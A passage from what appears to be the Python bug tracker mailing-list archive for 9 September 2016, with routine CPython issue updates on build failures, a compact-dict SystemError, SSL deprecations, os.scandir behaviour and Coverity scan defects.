*** failed to import extension touch from Tools/hg/hgtouch.py: invalid syntax (hgtouch.py, line 22)
hg: unknown command 'touch'

The compile step subsequently seems to regenerate a file and fails.

What was the reason to remove these __future__ imports? Maybe only remove them from Python 3-only code.

----------
components: Build
keywords: buildbot
messages: 275282
nosy: gregory.p.smith, martin.panter
priority: normal
severity: normal
status: open
title: x86 Tiger buildbot needs __future__ with_statement
type: compile error
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28039>
_______________________________________

From report at bugs.python.org  Fri Sep  9 03:55:11 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 09 Sep 2016 07:55:11 +0000
Subject: [issue27106] configparser.__all__ is incomplete
In-Reply-To: <1464121705.13.0.123221989673.issue27106@psf.upfronthosting.co.za>
Message-ID: <1473407711.89.0.171983226306.issue27106@psf.upfronthosting.co.za>


Changes by Martin Panter <vadmium+py at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27106>
_______________________________________

From report at bugs.python.org  Fri Sep  9 03:55:17 2016
From: report at bugs.python.org (Francisco Couzo)
Date: Fri, 09 Sep 2016 07:55:17 +0000
Subject: [issue21879] str.format() gives poor diagnostic on placeholder
 mismatch
In-Reply-To: <1404052648.46.0.81950938275.issue21879@psf.upfronthosting.co.za>
Message-ID: <1473407717.95.0.178424219766.issue21879@psf.upfronthosting.co.za>


Changes by Francisco Couzo <franciscouzo at gmail.com>:


----------
nosy: +franciscouzo

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21879>
_______________________________________

From report at bugs.python.org  Fri Sep  9 03:57:28 2016
From: report at bugs.python.org (Matthias Bussonnier)
Date: Fri, 09 Sep 2016 07:57:28 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
Message-ID: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>


New submission from Matthias Bussonnier:

I've been able to reliably trigger dict.pop to raise a system error: 

See https://github.com/pytest-dev/pytest/issues/1925


I have issues getting a small test-case that triggers it, though by changing the pop method of dict to print the returned value:

PyObject *
_PyDict_Pop(PyDictObject *mp, PyObject *key, PyObject *deflt){
...
    printf("\nreturn End value %x\n", old_value );
    return old_value;

}

I've been able to see that the last return sometime return Null:

[snip]

return End value 0
Fatal Python error: a function returned NULL without setting an error
SystemError: <built-in method pop of dict object at 0x10473f238> returned NULL without setting an error

Current thread 0x00007fff77139300 (most recent call first):
  File "/usr/local/lib/python3.6/site-packages/_pytest/capture.py", line 83 in reset_capturings
  File "/usr/local/lib/python3.6/site-packages/_pytest/config.py", line 869 in _ensure_unconfigure
  File "/usr/local/lib/python3.6/site-packages/_pytest/main.py", line 121 in wrap_session
  File "/usr/local/lib/python3.6/site-packages/_pytest/main.py", line 125 in pytest_cmdline_main
  File "/usr/local/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 596 in execute
  File "/usr/local/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 333 in <lambda>
  File "/usr/local/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 338 in _hookexec
  File "/usr/local/lib/python3.6/site-packages/_pytest/vendored_packages/pluggy.py", line 724 in __call__
  File "/usr/local/lib/python3.6/site-packages/_pytest/config.py", line 57 in main
  File "/usr/local/lib/python3.6/site-packages/pytest.py", line 17 in <module>
  File "/Users/bussonniermatthias/dev/git-cpython/Lib/runpy.py", line 85 in _run_code
  File "/Users/bussonniermatthias/dev/git-cpython/Lib/runpy.py", line 193 in _run_module_as_main

Aborted

Which I suppose is not desirable.

I'm quite uncomfortable with C so I'm far from being able to propose a patch or describe why this would happen...

Victor Stinner seem to have made the last changes to these methods in http://bugs.python.org/issue27350 . Not sure if the etiquette is to add them to the nosy list in this case. 

Discovered because of nightly continuous integration with travis on github.com/xonsh/xonsh

----------
components: Interpreter Core
messages: 275283
nosy: mbussonn
priority: normal
severity: normal
status: open
title: compact dict : SystemError: returned NULL without setting an error.
versions: Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Fri Sep  9 04:04:22 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 09 Sep 2016 08:04:22 +0000
Subject: [issue27867] various issues due to misuse of PySlice_GetIndicesEx
In-Reply-To: <1472226685.15.0.242668202848.issue27867@psf.upfronthosting.co.za>
Message-ID: <1473408262.08.0.233627432388.issue27867@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Then there is a design question. I believe that after all we should expose these two new functions publicly. And the question is about function names and the order of arguments. Currently signatures are:

int _PySlice_Unpack(PyObject *r, Py_ssize_t *start, Py_ssize_t *stop, Py_ssize_t *step);
int _PySlice_EvalIndices(Py_ssize_t *start, Py_ssize_t *stop, Py_ssize_t step, Py_ssize_t length, Py_ssize_t *slicelength);

Are there suggestions for names? Perhaps the second functions should not have prefix PySlice_, since it doesn't work with slice object.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27867>
_______________________________________

From report at bugs.python.org  Fri Sep  9 04:09:10 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 09 Sep 2016 08:09:10 +0000
Subject: [issue23404] 'make touch' does not work with git clones of the source
 repository
In-Reply-To: <1423262765.96.0.527396909.issue23404@psf.upfronthosting.co.za>
Message-ID: <1473408550.97.0.835948768474.issue23404@psf.upfronthosting.co.za>


Martin Panter added the comment:

Perhaps you can use ?make -t <file>? instead of ?make touch?. If you know the filename you want to avoid regenerating, that would not need any extra tools, no Mercurial or Git or any other version control. E.g.:

make -t Include/Python-ast.h

----------
nosy: +martin.panter

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23404>
_______________________________________

From report at bugs.python.org  Fri Sep  9 04:12:40 2016
From: report at bugs.python.org (Matthias Bussonnier)
Date: Fri, 09 Sep 2016 08:12:40 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473408760.75.0.455048138093.issue28040@psf.upfronthosting.co.za>


Matthias Bussonnier added the comment:

Oh, also I've bisect it to the compact-dict commit,
and the exact instance of __dict__.pop that fails depends on the machine.

Reliable same location on travis-ci and locally, but travis-ci location and local differ on where it triggers this.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Fri Sep  9 04:16:00 2016
From: report at bugs.python.org (=?utf-8?b?Q2hyaXN0aWFuIMOFa2Vyc3Ryw7Zt?=)
Date: Fri, 09 Sep 2016 08:16:00 +0000
Subject: [issue9949] os.path.realpath on Windows does not follow symbolic links
In-Reply-To: <1285426994.28.0.192028764756.issue9949@psf.upfronthosting.co.za>
Message-ID: <1473408960.19.0.445951624767.issue9949@psf.upfronthosting.co.za>


Christian ?kerstr?m added the comment:

Any update on this? Would be great with a fix for python symlinks on Windows.

----------
nosy: +Christian ?kerstr?m

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue9949>
_______________________________________

From report at bugs.python.org  Fri Sep  9 04:17:38 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 09 Sep 2016 08:17:38 +0000
Subject: [issue16487] Allow ssl certificates to be specified from memory
 rather than files.
In-Reply-To: <1353078615.85.0.973290481578.issue16487@psf.upfronthosting.co.za>
Message-ID: <1473409058.4.0.354761351594.issue16487@psf.upfronthosting.co.za>


Christian Heimes added the comment:

Thanks for your patch. I have left some comments (sorry for the delay).

----------
versions: +Python 3.7 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue16487>
_______________________________________

From report at bugs.python.org  Fri Sep  9 04:22:42 2016
From: report at bugs.python.org (Mark Lawrence)
Date: Fri, 09 Sep 2016 08:22:42 +0000
Subject: [issue9949] os.path.realpath on Windows does not follow symbolic links
In-Reply-To: <1285426994.28.0.192028764756.issue9949@psf.upfronthosting.co.za>
Message-ID: <1473409362.78.0.485660223361.issue9949@psf.upfronthosting.co.za>


Changes by Mark Lawrence <breamoreboy at yahoo.co.uk>:


----------
nosy:  -BreamoreBoy

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue9949>
_______________________________________

From report at bugs.python.org  Fri Sep  9 04:37:34 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 09 Sep 2016 08:37:34 +0000
Subject: [issue26171] heap overflow in zipimporter module
In-Reply-To: <1453348353.03.0.314168195173.issue26171@psf.upfronthosting.co.za>
Message-ID: <1473410254.61.0.539957259013.issue26171@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
priority:  -> release blocker
versions: +Python 3.3 -Python 2.7, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26171>
_______________________________________

From report at bugs.python.org  Fri Sep  9 04:38:37 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 09 Sep 2016 08:38:37 +0000
Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8
In-Reply-To: <1471405781.01.0.933321108026.issue27781@psf.upfronthosting.co.za>
Message-ID: <1473410317.95.0.0231959203782.issue27781@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

It looks as though this change might have broken the compile on OS X. On my OS X 10.9 machine, building from a clean Git checkout of the master branch fails; the tail of the failed build looks like this:

./python.exe -E -S -m sysconfig --generate-posix-vars ;\
	if test $? -ne 0 ; then \
		echo "generate-posix-vars failed" ; \
		rm -f ./pybuilddir.txt ; \
		exit 1 ; \
	fi
Fatal Python error: Py_Initialize: unable to load the file system codec
Traceback (most recent call last):
  File "<frozen importlib._bootstrap>", line 962, in _find_and_load
  File "<frozen importlib._bootstrap>", line 951, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 656, in _load_unlocked
  File "<frozen importlib._bootstrap_external>", line 668, in exec_module
  File "<frozen importlib._bootstrap_external>", line 782, in get_code
  File "<frozen importlib._bootstrap_external>", line 842, in _cache_bytecode
  File "<frozen importlib._bootstrap_external>", line 867, in set_data
  File "<frozen importlib._bootstrap_external>", line 117, in _write_atomic
ValueError: negative file descriptor
/bin/sh: line 1: 35829 Abort trap: 6           ./python.exe -E -S -m sysconfig --generate-posix-vars
generate-posix-vars failed
make: *** [pybuilddir.txt] Error 1

Full build output attached.

----------
nosy: +mark.dickinson
Added file: http://bugs.python.org/file44491/osx_failed_compile.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27781>
_______________________________________

From report at bugs.python.org  Fri Sep  9 04:55:59 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 09 Sep 2016 08:55:59 +0000
Subject: [issue27781] Change sys.getfilesystemencoding() on Windows to UTF-8
In-Reply-To: <1471405781.01.0.933321108026.issue27781@psf.upfronthosting.co.za>
Message-ID: <1473411359.23.0.804888664296.issue27781@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

It looks as though this change in posixmodule.c is the cause:

 #ifdef MS_WINDOWS
-        if (path->wide)
-            fd = _wopen(path->wide, flags, mode);
-        else
+        fd = _wopen(path->wide, flags, mode);
 #endif
 #ifdef HAVE_OPENAT
         if (dir_fd != DEFAULT_DIR_FD)
             fd = openat(dir_fd, path->narrow, flags, mode);
         else
-#endif
             fd = open(path->narrow, flags, mode);
+#endif


The move of the final #endif means that `fd` is not defined on OS X. If I move the #endif back again, the compile succeeds.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27781>
_______________________________________

From report at bugs.python.org  Fri Sep  9 04:56:06 2016
From: report at bugs.python.org (sorin)
Date: Fri, 09 Sep 2016 08:56:06 +0000
Subject: [issue1602] windows console doesn't print or input Unicode
In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za>
Message-ID: <1473411366.68.0.819339080038.issue1602@psf.upfronthosting.co.za>


Changes by sorin <sorin.sbarnea at gmail.com>:


----------
nosy:  -sorin

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue1602>
_______________________________________

From report at bugs.python.org  Fri Sep  9 05:03:18 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 09 Sep 2016 09:03:18 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473411798.46.0.645232472509.issue28022@psf.upfronthosting.co.za>


Christian Heimes added the comment:

I have deprecated cafile, capath and cadefault for urlopen(). The function didn't pop up on my radar because I was looking for certfile and cert_file, not cafile. I also added deprecations to the documentation of SSLSocket.read and write.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Fri Sep  9 05:03:53 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 09 Sep 2016 09:03:53 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473411833.82.0.797803697007.issue28022@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
keywords: +patch
Added file: http://bugs.python.org/file44492/ssl_deprecations.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Fri Sep  9 05:04:32 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 09 Sep 2016 09:04:32 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473411872.01.0.945100591591.issue28022@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Fri Sep  9 05:10:03 2016
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 09 Sep 2016 09:10:03 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473412203.85.0.699346904788.issue28040@psf.upfronthosting.co.za>


Changes by Berker Peksag <berker.peksag at gmail.com>:


----------
nosy: +haypo, methane

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Fri Sep  9 05:13:10 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 09 Sep 2016 09:13:10 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473412390.44.0.481277477741.issue28040@psf.upfronthosting.co.za>


Xiang Zhang added the comment:

It looks to me the only reason to this is dk_lookup returns wrong value and I seem to find one in lookdict. Not sure this can solve the problem.

----------
nosy: +xiang.zhang

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Fri Sep  9 05:13:24 2016
From: report at bugs.python.org (Xiang Zhang)
Date: Fri, 09 Sep 2016 09:13:24 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473412404.08.0.726046795623.issue28040@psf.upfronthosting.co.za>


Changes by Xiang Zhang <angwerzx at 126.com>:


----------
keywords: +patch
Added file: http://bugs.python.org/file44493/issue28040.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Fri Sep  9 05:24:54 2016
From: report at bugs.python.org (Mohanson Leaf)
Date: Fri, 09 Sep 2016 09:24:54 +0000
Subject: [issue28041] Inconsistent behavior: Get st_nlink from os.stat() and
 os.scandir()
Message-ID: <1473413094.07.0.556978499762.issue28041@psf.upfronthosting.co.za>


New submission from Mohanson Leaf:

os.stat(file).st_nlink gives 1 but same file's st_nlink from os.scandir(dir) gives 0.


"""
Inconsistent behavior: Get st_nlink from os.stat() and os.scandir()
Platform: Python 3.5.1 (v3.5.1:37a07cee5969, Dec  6 2015, 01:38:48) [MSC v.1900 32 bit (Intel)] on win32
"""

import os
import os.path

print('os.stat:', os.stat(__file__).st_nlink)

for entry in os.scandir(os.path.dirname(os.path.abspath(__file__))):
    if entry.name == 'stat.py':
        print('os.scandir:', entry.stat().st_nlink)

"""
os.stat: 1
os.scandir: 0
"""

----------
components: Windows
files: stat.py
messages: 275293
nosy: Mohanson Leaf, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Inconsistent behavior: Get st_nlink from os.stat() and os.scandir()
type: behavior
versions: Python 3.5
Added file: http://bugs.python.org/file44494/stat.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28041>
_______________________________________

From report at bugs.python.org  Fri Sep  9 05:29:07 2016
From: report at bugs.python.org (Andre Merzky)
Date: Fri, 09 Sep 2016 09:29:07 +0000
Subject: [issue27889] ctypes interfers with signal handling
In-Reply-To: <1472510858.82.0.884835264582.issue27889@psf.upfronthosting.co.za>
Message-ID: <1473413347.57.0.0673360760641.issue27889@psf.upfronthosting.co.za>


Andre Merzky added the comment:

I would appreciate any suggestion on how to avoid this problem -- otherwise it seems that I can't reliably use signals in threaded contexts at all :(

Thanks, Andre.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27889>
_______________________________________

From report at bugs.python.org  Fri Sep  9 05:39:41 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 09 Sep 2016 09:39:41 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473413981.2.0.638165962408.issue27213@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

I'm going to push the patch today. But changes to test_extcall look as a regression to me.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Fri Sep  9 05:39:50 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 09 Sep 2016 09:39:50 +0000
Subject: [issue27213] Rework CALL_FUNCTION* opcodes
In-Reply-To: <1465026334.02.0.369802561902.issue27213@psf.upfronthosting.co.za>
Message-ID: <1473413990.16.0.944030679631.issue27213@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
assignee:  -> serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27213>
_______________________________________

From report at bugs.python.org  Fri Sep  9 05:47:10 2016
From: report at bugs.python.org (Matthew Jacobi)
Date: Fri, 09 Sep 2016 09:47:10 +0000
Subject: [issue25257] In subject line email library inserts unwanted space
 after a thousands comma in a number
In-Reply-To: <1443464392.64.0.380133301442.issue25257@psf.upfronthosting.co.za>
Message-ID: <1473414430.68.0.737551860621.issue25257@psf.upfronthosting.co.za>


Matthew Jacobi added the comment:

Is there a workaround for this for people on python2? 
Would installing https://pypi.python.org/pypi/email/6.0.0a1 fix it?

> testing release of email6

> This is a standalone version of the version of email package that will ship with Python 3.3. This version can be installed and run under Python3.2. It is intended as a platform for testing the new code, but its final release should also be useable to get the features of the new package under Python 3.2.

----------
nosy: +Matthew Jacobi

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25257>
_______________________________________

From report at bugs.python.org  Fri Sep  9 05:51:43 2016
From: report at bugs.python.org (gigaplastik)
Date: Fri, 09 Sep 2016 09:51:43 +0000
Subject: [issue25852] smtplib's SMTP.connect() should store the server name in
 ._host for .starttls()
In-Reply-To: <1449961162.47.0.978986314472.issue25852@psf.upfronthosting.co.za>
Message-ID: <1473414703.35.0.416053700697.issue25852@psf.upfronthosting.co.za>


gigaplastik added the comment:

Here is the updated (3.6.0a4+) patch for the issue with the unit test included.

My unit test only checks for this issue particular artifacts, it does not test that .starttls actually works. This is because the current test suite for smtplib (Lib/test/test_smtplib.py) does not implement SSL/TLS functionality neither in its "debugging server", nor in its "simulated server" and implementing it on my own is beyond my expertise. Nevertheless, the provided unit test does guarantee .starttls wouldn't break because of the empty ._host attribute.
The overall Python test suite also runs successfully with these patches applied.

----------
Added file: http://bugs.python.org/file44495/issue25852_v3_with tests.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue25852>
_______________________________________

From report at bugs.python.org  Fri Sep  9 05:55:37 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 09 Sep 2016 09:55:37 +0000
Subject: [issue27364] Deprecate invalid escape sequences in str/bytes
In-Reply-To: <1466541260.02.0.320668077341.issue27364@psf.upfronthosting.co.za>
Message-ID: <20160909095533.8602.78627.0F94D1E9@psf.io>


Roundup Robot added the comment:

New changeset 98a57845c8cc by Martin Panter in branch 'default':
Issue #27364: Raw strings to avoid deprecated escaping in com2ann.py
https://hg.python.org/cpython/rev/98a57845c8cc

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27364>
_______________________________________

From report at bugs.python.org  Fri Sep  9 06:06:34 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 09 Sep 2016 10:06:34 +0000
Subject: [issue27952] Finish converting fixcid.py from regex to re
In-Reply-To: <1472969793.48.0.218337698391.issue27952@psf.upfronthosting.co.za>
Message-ID: <1473415594.72.0.697392344565.issue27952@psf.upfronthosting.co.za>


Martin Panter added the comment:

It would be nice to fix this so that the tests pass with -Werror. Here is a quick patch:

* Fix the deprecated non-escapes
* Make all the regular expressions raw strings
* Fix bugs with parsing escaped quotes in C strings and char literals
* Adapt from old regex module and Python 2 print statements
* Add a new test file with a single test case (could easily be expanded)

Documentation for the old ?regex? module:
https://docs.python.org/release/1.6/lib/module-regex.html

----------
keywords: +patch
stage: needs patch -> patch review
Added file: http://bugs.python.org/file44496/fixcid-re.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27952>
_______________________________________

From report at bugs.python.org  Fri Sep  9 06:20:24 2016
From: report at bugs.python.org (Martin Panter)
Date: Fri, 09 Sep 2016 10:20:24 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473416424.45.0.918214006562.issue28022@psf.upfronthosting.co.za>


Martin Panter added the comment:

How does that tie in with SSLObject.read() and write(). I have never used this class, but the documentation refers back to SSLSocket.

It seems there are no recv() etc methods to use as an alternative. So maybe deprecate read() and write() on SSLSocket only, and leave SSLObject intact?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Fri Sep  9 06:29:16 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 09 Sep 2016 10:29:16 +0000
Subject: [issue27952] Finish converting fixcid.py from regex to re
In-Reply-To: <1472969793.48.0.218337698391.issue27952@psf.upfronthosting.co.za>
Message-ID: <1473416956.53.0.197693475062.issue27952@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Thanks Martin. The patch in general LGTM, but see comments on Rietveld.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27952>
_______________________________________

From report at bugs.python.org  Fri Sep  9 06:53:29 2016
From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=)
Date: Fri, 09 Sep 2016 10:53:29 +0000
Subject: [issue18329] for line in socket.makefile() speed degradation
In-Reply-To: <1372541158.63.0.507892499267.issue18329@psf.upfronthosting.co.za>
Message-ID: <1473418409.11.0.0371804069349.issue18329@psf.upfronthosting.co.za>


???? ????????? added the comment:

mmarkk at mmwork:~$ python2.7 --version
Python 2.7.12

mmarkk at mmwork:~$ python2.7 ./qwe.py
TCP  mode, makefile method. 292731.3 lines per second (279.2 MB/s). Delay is 3.42 seconds
TCP  mode,   fdopen method. 2410875.9 lines per second (2299.2 MB/s). Delay is 0.41 seconds
UNIX mode, makefile method. 3247881.6 lines per second (3097.4 MB/s). Delay is 0.31 seconds
UNIX mode,   fdopen method. 3406528.3 lines per second (3248.7 MB/s). Delay is 0.29 seconds

mmarkk at mmwork:~$ python3.5 --version
Python 3.5.2

mmarkk at mmwork:~$ python3.5 ./qwe.py 
TCP  mode, makefile method. 822754.8 lines per second (784.6 MB/s). Delay is 1.22 seconds
TCP  mode,   fdopen method. 1916700.2 lines per second (1827.9 MB/s). Delay is 0.52 seconds
UNIX mode, makefile method. 999149.7 lines per second (952.9 MB/s). Delay is 1.00 seconds
UNIX mode,   fdopen method. 2639650.7 lines per second (2517.4 MB/s). Delay is 0.38 seconds

----------
status: pending -> open

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue18329>
_______________________________________

From report at bugs.python.org  Fri Sep  9 07:00:50 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Fri, 09 Sep 2016 11:00:50 +0000
Subject: [issue28038] Remove com2ann script (will be in separate repo)
In-Reply-To: <1473404793.77.0.890016027099.issue28038@psf.upfronthosting.co.za>
Message-ID: <1473418850.45.0.521100893298.issue28038@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

After some thinking, maybe it could be still kept in Tools but developed on github as it is done for typing and asyncio?

I have no preference here, core devs should decide.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28038>
_______________________________________

From report at bugs.python.org  Fri Sep  9 07:05:15 2016
From: report at bugs.python.org (INADA Naoki)
Date: Fri, 09 Sep 2016 11:05:15 +0000
Subject: [issue28040] compact dict : SystemError: returned NULL without
 setting an error.
In-Reply-To: <1473407848.54.0.959550177057.issue28040@psf.upfronthosting.co.za>
Message-ID: <1473419115.48.0.563471791054.issue28040@psf.upfronthosting.co.za>


INADA Naoki added the comment:

I've forgot to convert split table into combined table when del and .pop().
I'm sorry, and thanks to finding it.

----------
Added file: http://bugs.python.org/file44497/fix-compact-dict-deletion.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28040>
_______________________________________

From report at bugs.python.org  Fri Sep  9 07:06:26 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Fri, 09 Sep 2016 11:06:26 +0000
Subject: [issue27137] Python implementation of `functools.partial` is not a
 class
In-Reply-To: <1464367158.87.0.208604382314.issue27137@psf.upfronthosting.co.za>
Message-ID: <1473419186.06.0.371038006493.issue27137@psf.upfronthosting.co.za>


Emanuel Barry added the comment:

The patch LGTM and applies fine. Looks like there's no need to wait for beta 2 after all; thanks Serhiy!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27137>
_______________________________________

From report at bugs.python.org  Fri Sep  9 07:09:38 2016
From: report at bugs.python.org (Nick Coghlan)
Date: Fri, 09 Sep 2016 11:09:38 +0000
Subject: [issue28022] SSL releated deprecation for 3.6
In-Reply-To: <1473347942.69.0.310193437319.issue28022@psf.upfronthosting.co.za>
Message-ID: <1473419378.63.0.777606959826.issue28022@psf.upfronthosting.co.za>


Nick Coghlan added the comment:

+1 for directing all programmatic configuration through SSLContext

However, implicitly verifying certificates for protocols other than HTTPS needs to be contingent on a properly designed approach to configuration that leaves informed users in full control of the behaviour of their systems - while I'm fully supportive of secure-by-default behaviour to protect unaware users, it's also the case that most other protocols haven't had the forcing function of web browser behaviour encouraging them to improve their certificate handling, and even that's still in a tragically bad state once you get away from the public web.

The file based scheme in PEP 493, https://www.python.org/dev/peps/pep-0493/#backporting-pep-476-to-earlier-python-versions, was deliberately written to be potentially suitable for expansion to other protocols, but actually using it for that purpose would require the definition of a new feature PEP targeting 3.7 (which may then potentially be pitched for backporting to earlier versions as a subsequent proposal).

----------
nosy: +ncoghlan

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28022>
_______________________________________

From report at bugs.python.org  Fri Sep  9 07:11:11 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 09 Sep 2016 11:11:11 +0000
Subject: [issue28042] Coverity Scan defects in new dict code
Message-ID: <1473419470.64.0.526476875615.issue28042@psf.upfronthosting.co.za>


New submission from Christian Heimes:

Coverity Scan complains about 30 defects in the new code. Inada, I sent you an invite.

30 new defect(s) introduced to Python found with Coverity Scan.
3 defect(s), reported by Coverity Scan earlier, were marked fixed in the recent build analyzed by Coverity Scan.

New defect(s) Reported-by: Coverity Scan
Showing 20 of 30 defect(s)


** CID 1372734:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1133 in insertdict_clean()


________________________________________________________________________________________________________
*** CID 1372734:  Memory - corruptions  (OVERRUN)
/Objects/dictobject.c: 1133 in insertdict_clean()
1127     insertdict_clean(PyDictObject *mp, PyObject *key, Py_hash_t hash,
1128                      PyObject *value)
1129     {
1130         size_t i, perturb;
1131         PyDictKeysObject *k = mp->ma_keys;
1132         size_t mask = (size_t)DK_SIZE(k)-1;
>>>     CID 1372734:  Memory - corruptions  (OVERRUN)
>>>     "&mp->ma_keys->dk_indices.as_1[mp->ma_keys->dk_size * ((mp->ma_keys->dk_size <= 255L) ? 1UL : ((mp->ma_keys->dk_size <= 65535L) ? 2UL : ((mp->ma_keys->dk_size <= 4294967295L) ? 4UL : 8UL)))]" evaluates to an address that is at byte offset 255 of an array of 8 bytes.
1133         PyDictKeyEntry *ep0 = DK_ENTRIES(mp->ma_keys);
